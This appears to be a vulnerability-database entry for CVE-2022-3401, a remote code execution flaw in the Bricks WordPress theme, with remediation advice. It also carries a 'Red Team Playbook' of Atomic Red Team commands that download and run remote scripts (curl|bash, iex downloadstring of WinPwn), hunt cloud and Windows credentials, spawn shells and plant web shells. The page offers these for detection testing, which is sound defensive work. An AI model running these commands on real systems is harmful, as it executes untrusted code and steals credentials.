CVE-2022-3401
Overview
This vulnerability is a remote code execution flaw caused by improper authorization controls combined with the ability to inject executable code blocks in content. The affected component is the Bricks theme for WordPress, specifically versions 1.2 through 1.5.3, where site editors can embed executable code within pages, posts, or templates without sufficient permission checks. The root cause lies in the theme's failure to restrict code block inclusion to authorized users only, allowing low-privileged roles to execute arbitrary code.
Vulnerability Description
The Bricks theme for WordPress is vulnerable to remote code execution due to the theme allowing site editors to include executable code blocks in website content in versions 1.2 to 1.5.3. This, combined with the missing authorization vulnerability (CVE-2022-3400), makes it possible for authenticated attackers with minimal permissions, such as a subscriber, can edit any page, post, or template on the vulnerable WordPress website and inject a code execution block that can be used to achieve remote code execution.
Impact
An attacker with authenticated access at subscriber-level permissions can execute arbitrary code on the server by injecting malicious code blocks into site content. This enables full remote code execution without requiring administrative privileges or user interaction beyond authentication. The vulnerability can lead to unauthorized data access, site compromise, or lateral movement within the hosting environment. The CVSS vector indicates high impact on availability, integrity, and confidentiality with low privileges required and no user interaction necessary.
Solution
Upgrade the Bricks theme to a version later than 1.5.3 where this authorization and code injection flaw has been addressed. Refer to the official Bricks Builder website (https://bricksbuilder.io/) and the Wordfence vulnerability advisory page (https://www.wordfence.com/vulnerability-advisories-continued/#CVE-2022-3401) for detailed patch instructions and version-specific remediation guidance. Applying the vendor-released updates will restore proper authorization checks and prevent unauthorized code block insertion.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The Bricks theme for WordPress presents a significant security vulnerability that allows for remote code execution due to its design, which permits site editors to include executable code blocks within website content. This flaw primarily affects versions 1.2 to 1.5.3 of the theme. The vulnerability is exacerbated by a missing authorization issue, enabling authenticated attackers with minimal permissions, such as subscribers, to exploit this weakness. By editing any page, post, or template, these attackers can inject malicious code that executes on the server, leading to unauthorized access and control over the affected WordPress site.
Attack vectors for this vulnerability are particularly concerning due to the low barrier to entry for potential attackers. A subscriber-level user, who typically has limited capabilities, can leverage this vulnerability to gain elevated privileges by injecting malicious scripts. For instance, an attacker could craft a seemingly benign post or page that contains harmful code, which, when executed, could allow them to manipulate the site’s backend, access sensitive data, or deploy further attacks on the server. The combination of the ability to inject code and the lack of proper authorization checks creates a pathway for attackers to exploit the system without needing administrative privileges, making it a potent threat.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on WordPress for their online presence. Successful exploitation can lead to data breaches, loss of customer trust, and significant financial repercussions. Organizations may face regulatory penalties if sensitive customer information is compromised. Additionally, the presence of malicious code could be used to deface websites, distribute malware, or facilitate phishing attacks, further damaging the organization's reputation and operational integrity. The risk extends beyond immediate financial loss; it can also result in long-term damage to brand credibility and customer loyalty.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Bricks theme and other WordPress components is crucial to ensure that known vulnerabilities are patched. Employing security plugins that monitor for unauthorized changes to posts and pages can help detect potential exploitation attempts. Additionally, restricting user permissions based on the principle of least privilege can minimize the risk of exploitation by limiting the number of users who can edit content. Organizations should also conduct regular security audits and penetration testing to identify and address vulnerabilities proactively.
In conclusion, the vulnerability within the Bricks theme for WordPress highlights the critical need for robust security practices in web development and content management systems. The ability for authenticated users to inject executable code poses a significant risk, particularly when combined with inadequate authorization controls. Organizations must remain vigilant, adopting comprehensive security measures to protect against such vulnerabilities and safeguard their digital assets. By prioritizing security in their development processes and user management, businesses can mitigate the risks associated with this and similar vulnerabilities, ensuring a safer online environment for their users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Bricksbuilder | Bricks | All |
cpe:2.3:a:bricksbuilder:bricks:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-3401 |
| bricksbuilder.io |
GitHub CVE
|
https://bricksbuilder.io/ |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/vulnerability-advisories-continued/#CVE-2022-3401 |